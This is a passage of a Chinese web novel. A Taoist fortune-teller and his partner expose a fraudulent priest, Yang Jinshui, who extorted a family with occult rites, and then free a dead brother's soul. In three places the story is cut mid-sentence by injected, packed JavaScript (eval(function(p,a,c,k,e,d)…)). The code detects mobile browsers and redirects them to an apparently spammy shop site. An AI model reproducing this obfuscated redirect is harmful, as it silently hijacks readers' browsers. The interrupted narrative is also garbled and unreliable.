“这长相倒是挺慈眉善目的。”陆修望看了眼照片,“看起来像是老实人。” 陆叙把照片放大,盯着看了几秒,然后不屑地笑了:“这人一看就不是善类。” 陆修望愣了一下:“你怎么看出来的?就凭几张照片几段视频?” 陆叙这下得意了,拍了拍陆修望的肩膀:“叫我一声哥,我保证好好教你。” “……”陆修望面无表情地看着他。 陆叙见他不配合,也不在意,自顾自说下去:“相家讲究先取骨格,再参五官,最后才看神气气色。你这种不爱动脑子的外行,只看到一个慈眉善目就以为人家心善,这是最容易被蒙蔽的。” “看人不能只看个大概,”他补充:“不然就你长得这死样子,我当初肯定不会帮你。” 气氛放佛又回到了两人刚认识时的状态,陆修望深吸一口气,忍住想和他吵闹的冲动:“那你倒是说说,这人长得哪里不对?” “你看他这脸。”陆叙把照片放到最大,“脸盘圆润,肉相和顺,这叫容貌取和,最容易让人放松警惕。但你仔细看他颧骨这里,起势很硬,下颌收得紧,口角线条始终绷着,没有真正的松弛。” 陆修望凑近看了看,还真是。 “形和骨执,外顺内硬。”陆叙说,“真正心性宽厚的人,骨相不会这么紧绷。就好比你,虽然长得又凶又坏,但整体松弛有度,所以其实是个好说话的。” 陆修望:“……” “再看五官。”陆叙把照片切换到另一张,正好是清和笑着看向镜头的角度,“眼睛是监察官,问题最明显,相书论眼,讲究神藏不露为佳,善人目光清透,但他这个——” 他指着照片上那双看起来很温和的眼睛:“你觉得他慈眉善目,是因为他把眼皮刻意舒展开了,看起来很亲切,但你仔细看,他眼底泛青,眼白浑浊,这种眼相的人心思最深沉。” 陆修望下意识反问:“可他看人的时候,眉眼带笑不像作假。” “笑相最能作假。”陆叙投来一个看白痴的眼神。 “你看他的笑,只动口角眉眼不松,形在笑、神不笑,真正发自内心的笑,整张脸都是舒展的,”陆叙指了指清和略微下垂的嘴角,“这就是藏锋,有点脑子的都看得出来是假笑。” “《冰鉴》里讲,清浊易辨,邪正难辨,要辨邪正,先观动静。这人托迹于清,但你看他的举止——” 他划拉手机,找出另一段村民发到社交平台的视频,是清和接待客人的情形:“进屋的时候,眼神先扫过供桌、柜子,然后才走到人身边停住。这种习惯性的警觉,不是修行人该有的气质。真正清修的人,气息和动作都是随意自然的,不会这么处处提防。” 陆修望沉默了几秒,又问:“那你怎么确定他不只是普通人心思重,而是真的有问题?” 陆叙收起笑容,声音压低了一点:“因为还有一层,这层不是相,是气。” “气?” 陆叙说:“道家看人,第一看清不清,清不是说干不干净,而是气机是否通畅、是否自然。正道修持的人,哪怕清贫、劳累,脸上也有清气,神不飘、气不黏,靠近了不会让人胸口发闷。” 他顿了顿:“邪术不一样,沾染阴私法门的人,不管他是害人、养阴、借运,还是单纯的敛财,不管修行多久,身上都会有阴浊之气,不一定显凶相,但一定会让人觉得不对劲。” “这人身上就有很多不合常相的地方。”陆叙指着照片,“明明是笑相,眼下却有滞气,保养得不错,面上有光却不流动。这种人,十有八九是浸淫邪术太久,身上沾了太多因果。” 陆修望若有所思:“所以你一眼就能看出和你打交道的是什么人?” “那是,早告诉过你了,我看人绝不会看错,所以你有隐疾这事,别人不知道,但绝对瞒不过我。”陆叙得意地笑了,“而且像他们这种浸淫邪术的人,最擅长的就是把皮相修得和善,专门骗你这种人傻钱多的蠢货。” “……”陆修望无奈看向他,“明明是你先惹我的,怎么自己先急了?” “谁急了?你乱说什么呢?”陆叙移开视线,“我这是在夸你质朴无害,还教你民俗知识,你应该说谢谢。” 陆修望懒得跟他计较,把手机收起来:“那现在怎么办?今晚就去那人老窝瞅瞅?” “可。”陆叙说,“先摸个底,看看这道观里到底藏了什么,明天再光明正大上门,到时候好办事。” 16. 第 16 章 一行人开了一小时车到达青龙山脚,夜里的山路不好走,摸黑走了二十多分钟,才终于看见青龙观。 道观坐南坡,靠青山,山环水抱,藏风聚气,不像有阴煞的样子。 保险起见,陆修望带来的人屏蔽了附近的信号,陆叙也给他塞了好几个护身符,专业人员巧妙的处理了一下门锁,两人就这么堂而皇之地进了道观。 陆叙打开手电,光束压得很低,只照脚下,一对石狮子守在朱漆大门两侧,空气中弥漫着淡淡的松柏香气,前院中央的三层香炉鼎静静矗立,周围的回字形路径弯曲有致,这布局,比某些所谓的“洞天福地”有过之而无不及。 两人没急着进殿,而是沿着院墙慢慢走了一圈,陆叙时不时停下脚步,蹲下身看看地砖的走向,又抬头观察房檐的位置。 院子修得很规整,花台、香炉、石桌的摆放都很讲究。转了一圈,他的眉头反而皱了起来。 “有问题?”陆修望压低声音问。 陆叙闭眼凝神,能感觉到一股暖融融的阳气在庭院中流动。 “这前院的格局太好了。”他睁开眼,“水口开在乾位,房屋压着离宫的正位,气场流转顺畅,再加上平时香客多,阳气很旺。” “那不是好事?” “问题就在这儿。”陆叙皱起眉,“前院香火这么兴旺,怎么舍得让气外泄?这个宅子气场微微向北倾斜,气都往后院走了。” 如果这是个普通道观,没人会去在意这些细节。 他转身看向后院:“前院做得这么正,气场流动又做得隐蔽,后院肯定有问题,过会得仔细检查。” 两人走到正殿门口,陆叙推开门,手电照进去。殿内布置简单,正中间供着一尊神像,墙上挂着些常见的法器,烛台上还有未燃尽的香烛,看得出来香火很足。 陆叙走近神像,手电的光照在神像的脸上,他盯着看了好一会儿。 陆修望注意到他的表情,忍不住问:“这神像有问题?” 陆叙点了点头。 那祖师像身着道袍,手持拂尘,面容慈祥,但总觉得哪里不对劲。外形塑造多了一丝刻意的锐利,整体不像传统祖师的超然脱俗,雕像的衣袍褶皱处,似乎有一些不属于传统道家祖师的配饰纹路。 陆修望看了半天,啥也没看出来。 陆叙蹲下身,借着手电的光仔细观察底座: “你看底座的铭文。”陆叙指了指,“正殿贡的应是正统祖师,三清太上,或者他师承的闾山真人,但这尊像字迹模糊,难以辨别。” “他做得很聪明。”陆叙站起来,“表面上完全符合规矩,挑不出毛病。但实际上,他供的应该是他自己的师父,或者他师承那一脉的私家祖师,只是用了正统道门的形制包装起来,借正统之名行私事。” 他看了看正殿的布局:“气在这里最盛,却被引导向后,这殿堂怕是整个局的幌子。” 两人穿过侧门,经过一条长廊,伪装成墙饰的风铃在夜风中发出低沉的鸣响,更印证了陆叙的猜测。 后院比前院小得多,表面上看清幽宁静,竹林婆娑,中央一棵老树矗立在石坛上,水潭里养着鱼,亭子下石凳整齐。 花台的位置,水缸的摆放,甚至连墙角堆着的几块石头,都透着股说不出的讲究。 但陆叙立刻感觉到不对,空气转凉,阴风从后山吹来,带着一丝滞重的湿气。 阴气来源就是那棵不算高的老树,树干扭曲,枝叶稀疏,上半部分分出两根粗枝,像是伸展开的手臂,再往上的枝条垂下来,远远看去,很像一个穿着长袍的人站在那里。 “罕见的雷击木。”陆叙走到树边打量,“被雷劈过不止一次,没死,又活过来了。” 他蹲下身,看了看树根周围的土。土壤略显潮湿,土色发黑,隐隐有聚阴的迹象。树根旁边埋着几个小坛子,坛口用黄泥封着,看起来已经有些年头了。 他绕着雷击木走了一圈,发现水潭看似平静,但水流滞缓,底部暗沟隐现,这是死水煞,竹林后,一块尖角岩石被藤蔓遮掩,隐隐指向雷击木,箭煞,亭子在特定时间会反射月光,这是借天时的光煞。 陆叙站起来,整体看了一遍后院:“前院聚阳,后院阴煞,两边气场一正一邪,全部用来养这棵树。” “为什么要养树?”陆修望问。 “不知道,大概是为了养某种阴邪。”陆叙摇了摇头。 “坛子里埋的肯定是生灵遗体,也是用来抽取生机供养雷击木,”陆叙指了指那些坛子,“花台下面应该还有更多,低洼的地势让阳气在此积聚,却被这些隐煞转化,一个看起来普通的花园,实际上是再好不过的养鬼地。” 陆修望看着那棵树,再看看周围那些看起来普通的花草,突然觉得有点不舒服。 “这人确实厉害。”陆叙说,“聚阴抽生,阴阳合流,做得天衣无缝。” “那你是怎么看出来的?”陆修望问。 “我之前跟着我师父处理过类似的事,但也只见过一次,我对这种局的所有了解都来自于那次经历。”陆叙说,“这种手法,一般人学一辈子都不能做到,所有不对劲的地方都被掩饰住,普通道士碰到也发现不了异常。” 两人回到前院,陆叙又看了一眼正殿里的神像。 “整个观里没有任何施咒的痕迹。”陆叙转身往外走,“做局的时候没留下任何把柄,就算有人来查,也找不到任何证据。” 回到酒店,陆叙把今晚看到的东西简单记录下来,这一趟基本算是白跑,这个新观显然不是他动手脚的窝点,山上那个老观才是。 他关闭记录软件:“这个杨金水,来路绝对不简单。” “那明天怎么办?”陆修望有点担忧。 陆叙露出一个狡黠的笑容,凑到陆修望耳边低声说了几句。 陆修望听完,忍不住也笑了:“你怎么能阴成这样。 ” 陆叙装出一副深沉的样子:“我做这行最忌误时辰,行事就讲一个实用,速战速决,达到目的就行,管他用的什么方法。” 上午八点,两人再次来到青龙观,陆修望的人在山脚等人,观门没开,陆修望随手敲了敲。 很快门打开了,清和道长走出来,穿着干净的道袍,脸上挂着温和的笑容,和照片没区别,看起来就像个慈祥的长者。 道士抱拳行礼声音温和:“贫道昨日去镇上办事,不在观中,二位可是昨晚来过?” 陆叙心里一惊,但面上不动声色:“道长说笑了,我们今早刚到安市。” 道士笑了笑,也没追问:“那是贫道想岔了,二位里面请。” “不知二位缘主来贫道这小观所为何事?”道士跟在后面,声音温和。 “听闻道长道法高深,擅长解决疑难杂症。”陆叙从口袋里掏出手机,调出许瑶哥哥的照片,“想请道长帮忙看看这人的命数如何。” 道士接过手机看了看照片,脸上的笑容却没有丝毫变化。 “这位是?” “我大舅哥。”陆叙打量着他,随意开口,“他体质不好,运气也不好,求医问药不管用,听说道长这里灵验,所以想来请教。” 道士抬起头,叹了口气: “此人面相恐难长命,贫道也无能为力,”他摇摇头,“此乃天命,非人力可为。” “天命?”陆叙冷笑一声,“道长的意思是,是老天非要他死?” 道士脸上的笑容收敛了一些:“生死有命,贫道也只能尽人事听天命,两位请回吧。” “那如果我说,”陆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17099179|195686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叙盯着他,眼神里满是嘲讽,“这不是天命,而是人为呢?” 空气安静下来。 道士脸上的笑容终于消失了,他抬起眼看向陆叙,那双原本温和的眼睛里闪过一丝冷意。 “施主这话是何意?” 气氛剑拔弩张,陆叙脸上却露出得意的笑容,他双手抱胸靠在门框上:“我的意思是,清和道长,你敲诈我女朋友父母大笔钱财,无证上岗,组织违法邪术活动,”他故意顿了顿,“我已经报案了。” 清和道长脸色骤变,转身往后门跑去,也就在这时,院门外传来脚步声。 几个穿着便衣的人走了进来,陆修望看到来人,脸上露出一个无奈的笑。 “杨金水先生,有人举报你涉嫌诈骗,请配合调查。”为首的人没和陆修望寒暄,只是冲道士出示了证件。 清和道长脸色铁青,但还是维持着表面的平静:“贫道给人看相算命,何来诈骗一说?” “证据确凿。”那人看了看手里的材料,“许先生一家前后给你转账近百万,你这看的什么相,算的什么命,还挺赚钱。” 清和道长还想辩解,那人打断他:“过会儿有的是时间听你说,现在请跟我们走一趟。” 清和道长看了陆叙一眼,眼神冰冷:“你真是好手段。” “过奖过奖。”陆叙笑得更开心了。 其实昨晚回到酒店后,陆叙本打算让陆修望打点一下关系,先把杨金水请去问询,拖延几天时间,他好趁机进老道观仔细查看。 但许瑶那边传来了意外消息,她趁父母熟睡,在他们的手机、电脑等设备上找到了大量转账记录,还有和姑姑的聊天记录,以及一些法事现场的照片。 这些证据虽不能坐实牵涉邪术,但证明清和道长诈骗已经够了。和杨金水的聊天记录虽然谨慎,但和姑姑的聊天记录却没特意遮掩,涉及“做法费用”“法器费用”“后续费用”的事宜,清清楚楚,也能作为证据。 陆叙拿到这些证据后,立刻改变了计划。既然有实锤,何必还要费劲打点关系?让许瑶直接报警反而更省事。 陆修望虽然觉得这招有点损,但也不得不承认确实有效。 院门外又传来脚步声,这次是许瑶。 她背着个包,眼睛红肿,脚步有些虚浮,应该又是一夜没睡。 “陆先生。”她声音有点哑。 “你怎么来了?”陆叙看了她一眼,“你不应该去配合调查吗?” “我给我父母发了我报警的消息,如果他们还有一点脑子,就自己去处理这件事,我现在只想把我哥的魂魄找回来。” 许瑶从包里掏出手机,调出些截图和照片,递给陆叙。 陆叙翻了翻,脸色也有点不好看。那些聊天记录里,姑姑反复强调“只有用妹妹的运才能救哥哥”,许瑶父母的回复也很配合,甚至有“只要能救儿子,女儿的命都可以”这种逆天言论。 陆叙叹息:“真是罔顾人伦。” 许瑶接过手机,嘴角扯出一个苦笑:“我昨晚看到这些的时候,简直难以置信。” “他们以前对我真的很好,我一直以为他们是爱我的。但现在我才意识到,可能连我的出生,都是为了解决哥哥的不幸。” 陆修望站在一旁,有些不知道该说什么。 许瑶随意擦去眼泪:“我哥死后,这个贱人道士甚至还说,是因为我执意去外地上班,影响了法力效果,是我害死了我哥。” 她深吸了一口气,脸上的表情从悲伤转为释然:“但我现在什么都知道了,反而轻松,我哥走了,我也不欠他们什么。” 许瑶看向陆叙,郑重地说:“陆先生,我会把我那些首饰包包全卖了,不管多少钱我都愿意出,我哥哥的事,还得再请你帮忙。” 17. 第 17 章 分发了一下护身符,三人立刻往山上走,陆修望提前打过招呼,警方那边会晚几个小时再来封锁山上这座破观,给他们留了足够的探查时间。 爬了快一小时,陆叙呼吸已经有些急促,陆修望背着他的包,像散步似的走在前头,回过头笑着问:“要不要我背你?” 陆叙瞪了他一眼,简短地吐出一个字:“滚。” 这种精力旺盛还爱装比的人真的非常令人讨厌。 前方出现了一座残破的建筑,地势非常隐蔽,藏在树林深处,如果不是特意来找,根本发现不了,屋顶塌了一半,墙壁也破了好几个洞,看起来荒废了很久。 “这里才是他的老巢。” 表面上看,这里确实很破败,但陆叙能感觉到,这片废墟下面藏着很重的阴气,而且和青龙观那种刻意营造的局不同,这里的阴气是真实的,长年累月积累下来的。 “你看这山头的地势。”陆叙指了指周围,“这里原本风水很好,背靠主峰,面朝开阔,左右有护山,是个养气的福地。” 陆修望耳濡目染,点了点头:“确实不错,没什么阻气的地方。” “不懂就闭嘴。”陆叙笑了,指了指另一边,“这里原本应该是有山体延伸出去的,但现在断了,应该是山体滑坡之类的自然灾害造成的,现在形成了反弓。” 他转过身,看向整片山头:“反弓本身就是煞,再加上周围福地的气场,形成了一个标准的养尸炼煞之地,杨金水还真会选地方。” 三人走到正门前,门上挂着一把结实的铁锁,锁已经生锈了,但还很牢固。 陆修望上前,掏出撬锁工具,摆弄了几下,锁应声而开。 陆叙看着他熟练的手法,忍不住嘲讽:“你这技术挺熟练啊,没少干这种事吧?” 陆修望瞥了他一眼:“专门练的,方便半夜爬你床。” 陆叙不想理他,推开门径直往里走,一股霉味和腐臭混合的气味扑面而来。许瑶忍不住捂住口鼻,陆修望也皱起了眉。 陆叙倒是面不改色,放佛早已习惯。 屋里昏暗无光,地上堆着破烂的木板和瓦片。墙上挂着几幅褪色的画,画中隐约可见一个道人的身影,很奇怪,也很突兀,陆叙掏出手机拍下那几幅画,又环顾四周,目光最终落在屋子深处的一道门上。 三人走过去,里面是个更大的房间,看起来像是祠堂。 原本供奉的祖师像被推倒在地,取而代之的是一排排木架,上面摆满了阴邪的物件。 陆叙走近,手电的光照在那些东西上。 人皮伞、头骨碗、手指念珠、骨鞭,还有一些用头发编织的布,上面画着复杂的符文。 许瑶看见这些,脸色瞬间煞白,胃里一阵翻涌。她转过身扶着墙深吸了几口气,强忍着没吐出来。 陆修望也倒吸了一口凉气:“这些都是——” 陆叙点了点头,没多说什么。 他仔细检查,光是眼前这些东西,至少害了十几条人命。 但这不是陆叙该管的事,他继续往里走。祠堂内部还有一道后门,门上贴满符纸,里面是个更小的房间,房间中央摆着一个法坛,坛上放着很多草人。 陆叙走到法坛前,在一堆草人里翻找了一会儿,挑出其中两个。草人上面写着生辰八字,正是许瑶和许怀的。 “这就是用来施厌胜的道具。”陆叙将草人递给许瑶,“不过现在已经失效了,你自己处置吧。” 他又在房间里检查了一遍,目光落在角落里的一盏灯上,那是一盏很古旧的油灯,灯罩是铜制的,上面刻着复杂的纹路,灯芯还在,但没有点燃。 陆叙蹲下身,仔细打量着这盏灯,里面是石油。 “你哥散落的魂魄就在这里面。” 许瑶激动的问:“真的?” “嗯。”陆叙没怎么细说,“这是拘魂灯,你哥死后,杨金水把他的部分魂魄引导到了这里,应该是想炼成小鬼。” “幸好这件事处理及时。” “那现在怎么办?”许瑶问。 “我得尽快把封印解开,把你哥的魂魄放出来。”陆叙说,“你们俩回避一下。” 陆修望皱了皱眉,显然不放心:“我留下来帮你。” “帮倒忙吧你。”陆叙点评,“你俩阳气这么重,是想让残魂灰飞烟灭吗?” 陆叙赶走两人,关上门,在法坛前盘腿坐下。他取出拘魂灯,在周围布置了一个简单的阵法,四周用黄纸铺成八卦图,每个方位压上铜钱,防止煞气外泄。解禁制本不算难事,昨天买的破禁符正好派上用场。 他将符纸贴在灯身,手指掐诀,低声念动咒文。符纸燃起青烟,禁制应声而解。 许怀的残魂缓缓溢出,在空气中凝成一团若有若无的白色雾气,这人生前是个好人,也没牵扯太多因果,陆叙轻叩灯身,但雾气几乎没有反应,这说明许怀魂魄极不稳定,随时可能消散。 陆叙眉头紧皱,闭上眼深吸了一口气,每次请神,他都要承受极大的消耗,但眼下没有别的办法。 “弟子陆叙,请天医降临,怜悯此残魂不全,赐法力缝合,复其本真!” 他将清水洒向灯器,一遍遍吟诵:“天医妙手,全形诸司,魂归一体,病者愈,残者全!” 烛火开始剧烈摇晃,仿佛有无形的风在房间里旋转。温度骤降,那团白色的魂体在半空中翻涌、聚拢,原本涣散的形态慢慢凝实起来。 陆叙额头渗出冷汗,但咒文没有停顿,几分钟后,魂体终于稳定下来,陆叙这才睁开眼,用指尖按住灯芯,火苗跳跃了几下,火焰随之稳定下来。 陆叙长舒一口气,低声送神,然后吹熄了灯芯,将拘魂灯小心收进背包。 门打开,许瑶和陆修望立刻迎上来,陆修望似乎察觉到他的不对劲,眼疾手快地扶住他。 “我哥怎么样了?”许瑶紧张地问。 “已经稳住了。”陆叙自然地靠在陆修望怀里,声音有些疲惫,“魂魄聚在一起了,暂时不会消散。” 他抬眼看向许瑶:“但你得尽快超度,不能拖。” “超度的事我不参与,我给你介绍这边的人,他能安排。” “我知道了。“许瑶声音坚定,但手指死死攥着那两个草人,指节泛白。 陆叙沉默了几秒,还是开了口:“其实有一种办法,可以让你见他一面。” 许瑶猛地抬起头。 陆叙说:“这个我做不了,得找专门的人,而且风险很大,弄不好会把你也拖进去。” “一般要等四十九天的那次超度结束后,但如果你等不及,也可以提前。”他看着许瑶,“只是你得想清楚,值不值得冒这个险。” 许瑶深吸了一口气,眼眶泛红,却强忍着没让眼泪落下来。 “我想见他。”她的声音很轻,却异常坚定,“不管多大风险,我都想见他最后一面。” 陆叙点点头,把老张的联系方式推给她:“超度需要你父母同意,你先处理这件事。等办完,我再帮你联系走阴的人。” 陆修望看了看时间:“人快到了,我们该下山了。” 陆叙应了声:“这些证据够杨金水牢底坐穿了,剩下的事,我们就不要再插手了。 许怀的第一次超度安排在本月的十五,那天早上,许瑶接到了父母的转账,很一大笔钱,比她预想的多得多。 许瑶沉默了很久,最后还是收下了,这是那对夫妻欠他们兄妹的,不多不少。 仪式结束后,负责此事的阿婆告诉许瑶,她哥的魂魄已经稳定,七七过后就可以安心投胎,许瑶跪拜了三次,眼泪无声地流。 但她还是不甘心。 “我想见他。”许瑶找到陆叙,眼神坚定,“我不想等那么久了。” 陆叙皱起眉:“你哥现在还未满四十九天,还在中阴身期,神通自在且极不稳定,很容易出意外。” “我不怕。”许瑶打断他,“陆先生,我想见他一面,跟他说几句话,求你了。” 陆叙看着她,沉默了几秒,最后还是妥协了。 陆叙联系了李先生,对方做这行几十年了,听说是刚过完头七的魂魄,犹豫了很久,最后开了个很高的价。 许瑶一句话没说直接答应了。 三天后,李先生带着一堆东西来了老张的道场。 “时间不能太长,不能超过五点。”李先生一边摆东西一边说,“我拍你肩膀的时候,不管听到什么看到什么,一定要回来。” 许瑶点点头,声音冷静:“我知道。” 李先生布置了一个简单的阵法,点上香烛,许瑶光脚坐在中间,用黑布蒙住双眼,中间夹着一张阴路符,仪式开始。 李先生开始念咒,声音低沉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17099180|195686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,带着某种韵律,蜡烛的火苗开始摇晃,催魂,引咒,落阴。 陆叙靠在墙边,神色淡然,这种场面他见得太多,早就没什么感觉了。 陆修望却不一样,他第一次亲眼见到这种仪式,脑子里那些科学知识在这一刻显得格外苍白无力,他盯着阵法中央对着空气说话的许瑶,说不好奇是不可能的。 “她真的能见到?”他压低声音问陆叙。 “经历过的人都说能。”陆叙没看他,目光始终落在许瑶身上,“我没经历过,但我知道,只要对方愿意,就可以看到。” 四十分钟后,李先生开始回阳,收魂, 许瑶眼睫毛轻轻颤动,她缓缓摘下黑布,眼神从涣散渐渐聚焦,眼泪却已经止不住地涌出来。 她哽咽着冲李先生道谢,对方松了口气,擦了擦额头的汗,详细叮嘱了走阴后的注意事项便起身去休息了。 许瑶还坐在那里,眼泪一直流,却没发出声音。陆叙走过去,倒了杯温水放在她手边,他刚想开口说点什么,许瑶突然从椅子上站起来,扑通一声跪在了他面前。 “你干什么?!” 陆叙吓了一跳,赶忙伸手去拉她。 许瑶却死死抓着他的袖子,整个人趴在地上,哭声终于压抑不住,撕心裂肺地涌出来。 陆修望看不下去了,三两步走过来,像拎小鸡一样把她拽起来:“有话好好说,别动不动就下跪。” 陆叙也皱着眉,手足无措地站在那里。许瑶站起来后,却直接扑到他怀里,整个人靠在他肩上,哭得浑身发抖。 陆叙整个人僵住了,手举在半空,不知道该放哪儿,陆修望脸色一沉,揪住她后领就把人拉开。 “我哥——” 许瑶哽咽着,声音断断续续,“我哥他……他是因为我才……” 她哭得说不下去,胸口剧烈起伏。 陆叙叹了口气,到底还是抬手,轻轻拍了拍她的背:“慢慢说,别急。” “我哥他知道了。”许瑶声音沙哑,“知道爸妈为了救他,要拿我的运势去换,他和爸妈吵了一架,很凶的那种。” “然后他就自己出去了,他说他想来看我,就那么走到马路上……被一个醉酒的司机撞了。” 陆叙拍她后背的手顿了一下。 许瑶的声音彻底哑了,带着绝望的痛苦:“他说他的魂魄之前每天都混混沌沌的,有时候觉得自己还在经历被车撞倒的那一刻,那种剧痛一遍一遍重复,永远没有尽头。” “有时候又觉得被什么东西绑住,浑身像被火烤,每一寸皮肤都在燃烧,想喊喊不出来,想动动不了……” “他很痛苦,很想解脱。” 陆叙心下叹息,这许怀真的是个好……鬼,经历这种痛苦折磨,从灯里出来的时候,魂魄还是白色的,没有一起怨气。 “现在他终于可以解脱了,他说看到我没事,他也能安心地走了。” 她抱着陆叙,整个人都崩溃了。 “你哥受的那些罪,是杨金水害的。”陆叙声音很轻,但就像他们第一次见面那样可靠,“现在没事了,他不会再受苦,你也别哭,他会放心不下的。” 许瑶点点头,过了好一会儿,哭声才渐渐平息,她才松开陆叙,退后一步,不停地擦眼泪。 “对不起,陆先生,我……” “没事。”陆叙打断她,“这很正常。” 许瑶看着陆叙,眼神里满是感激,还有说不出的复杂情绪。 “陆先生,真的太谢谢你了。如果不是你,我哥可能永远都要受那种折磨,我也——” “行了行了,别说这些,我听着不得劲。” 陆叙打断她,神色恢复了平时那副吊儿郎当的样子。 “你要是真想谢我,就赶快把钱付清。” 许瑶愣了一下。 “这次不会再给你打折了。”陆叙语气淡然,“一码归一码,我只是拿钱办事,你家的事以后跟我没关系了。” 许瑶看着他,眼泪还在眼眶里打转,但这次她没有再哭出声,只是不停地点头,用力得像是在对自己做什么承诺。 “我知道,我会付清所有费用,陆先生,这辈子你都是我的恩人,我会行善积德,只求我修得的福分能回向你,愿你一生福泽绵长,灾厄远离。” 陆叙满意地点点头:“你还挺能说会道。” 18. 第 18 章 三人一起回到酒店,许瑶急不可耐要给陆叙结尾款。 沉默片刻,陆叙突然抬起头看着许瑶,语气变得很冷: “许瑶,看你可怜,我就实话跟你说了吧。” 许瑶愣了一下,陆修望也转头看向他。 “什么?”许瑶不太明白。 “最开始我确实是诚心帮你,”陆叙面无表情,“但你告诉我你哥的八字的时候,我改主意了。” “现在你哥生魂还在我手里。”他指了指桌上用红布包着的铜灯。 “至于超度,”陆叙轻笑,“他的魂魄和这个灯的联系没断开,就永远无法超度。” “我不像杨金水那样歹毒,只是会用他的魂魄做些简单的事。你最好别多问,也别想着报警。”陆叙轻轻拍了拍许瑶的背,话语里却满是威胁,“否则我不介意让他彻底魂飞魄散,不得往生。” 许瑶整个人愣在那里,陆修望无奈叹了口气——看起来这人戏瘾又发作了。 房间里安静几秒,许瑶盯着陆叙看了一会儿,竟然笑了。 陆叙愣了一下。 “陆先生,你演技不太行。”许瑶笑容真诚,“你是觉得我太容易相信别人了,没有戒备心,对吧?” 陆叙没说话,忍不住冷哼一声。 “我明白你的意思。”许瑶说,“确实,遇到这种事,不应该把希望全寄托在一个陌生人身上,得有自己的判断。我父母就是和我一样蠢,才害了我哥。” “但是陆先生。”许瑶看着陆叙,眼神认真,“我相信你。你做的每一件事都让我觉得你值得信任。” “为什么?”陆叙皱眉。 “因为你没有图财,2000块的咨询费,还没之前别人让我买的符纸贵。为我做法,自己还要承受损耗。” 陆叙不屑:“为了达到目的,受点伤也不会怎样。” 许瑶继续问:“之前你说我敏感,其实不是说对脏东西的感应吧?” “我确实能感知到细微的环境变化,还有身边人的情绪波动。所以我觉得一直你和哥哥是好人——就像我一直觉得父母怪怪的,只是我之前没多想。” “得,还是个高敏人群。”陆叙脸上那副冷漠的表情终于绷不住了。 他摆摆手:“行了行了,我就是想提醒你一下,以后别这么蠢。” “我知道。”许瑶态度诚恳又坦然,“虽然我很蠢,但我也知道该相信谁。陆先生,真的很感谢你。” 陆叙转向另一边,盘算着这次要收多少比较合理,随意开口:“别谢我。” 他指了指陆修望:“要谢就谢我孙子。” 陆修望叹气,他现在才算看明白,这人心情好的时候当他是老公,心情不好就把他当孙子使。 许瑶有点懵,讪讪问:“你俩吵架了?” 陆叙没理她,继续说:“虽然他是为了满足自己的好奇心,但查资料、找相关的人员查封道观,包括后续处置,都是他出面,你要谢就谢他。” “最好是请他吃一顿饭。” 许瑶愣了一下:“为什么是请吃饭?有什么讲究吗?” “之前处理你那凶宅,他当了我整晚护身符,我答应了请他吃饭。”陆叙看向陆修望,大言不惭,“但我现在囊中羞涩,只能让事主代劳了。” 陆修望:“……” 许瑶忍不住笑了。 “好,我一定请这位陆先生吃饭。”她看向陆修望,“谢谢你帮了我这么多。” 陆修望轻嗤一声,完全懒得搭理她,只是摆了摆手:“用不着,我不缺饭吃。” 陆叙看他这死样子,忍不住拍了他一下:“你能不能有点礼貌?” 又搂住他的脖子,低声说:“咱俩老公老婆叫这么久了,给我个面子,真没米请你吃饭了。” 陆修望有点想笑,又意识到陆叙是想让许瑶安心一点,最后勉为其难点了点头。 来的时候是三个人,返程只剩陆叙和陆修望。 车子驶出市区,陆修望开得很平稳,陆叙靠在座位上闭目养神,但却没有真正放松。 “杨金水那边,查出什么了吗?” “这人不是安市本地人,前半生就是个朴素的农民,离异无子,平时也会在村里卖卖老黄历,帮人看看日子,赚不到什么大钱。” “后来卖了田外出打工,实际上只在工地干了两年,然后突然来了安市青龙山。” 陆叙皱起眉:“就这些?” “其他经历都很正常,他身边也查不到任何可疑人的痕迹。”陆修望说,“没见他和谁深入接触过,近几年的生活轨迹,除了青龙山附近的村子,就是去镇上采购一些科仪和生活用品,不像是有同伙的样子。” 陆叙有点疑惑:“那他这种通天的本事哪来的?” “也查过这个,和他自己的供述也对得上。”陆修望把手机递过去,“他最初经人介绍卖黄历后,就自己学了奇门遁甲,村里人也说没有人教他,也没见他拜过师。其他东西也都是自学,打了两年工,还从各地工友那学来不少东西。” 陆叙随意扫了几眼资料,又还给陆修望。 “那没事了,可能是阴传的吧。” “什么玩意?” 陆叙靠回座位上:“现在很多歪门邪道来路不明的道士其实都来自于阴传,但如果自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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话头一转,又说:“开玩笑的,没有机缘不建议入行,当作兴趣就行了。况且真正入了这行的,在其他方面缘分都很浅,这就是代价。” 陆修望嘴角微微上扬:“你不就是我的机缘吗?我觉得我俩还挺有缘分的。” 陆叙僵了一下,这话听起来怎么这么肉麻? 见他没反应,陆修望又问:“你觉得呢?” “我觉得个屁。”陆叙冷哼一声,放平座椅戴上眼罩不再理他。 19. 第 19 章 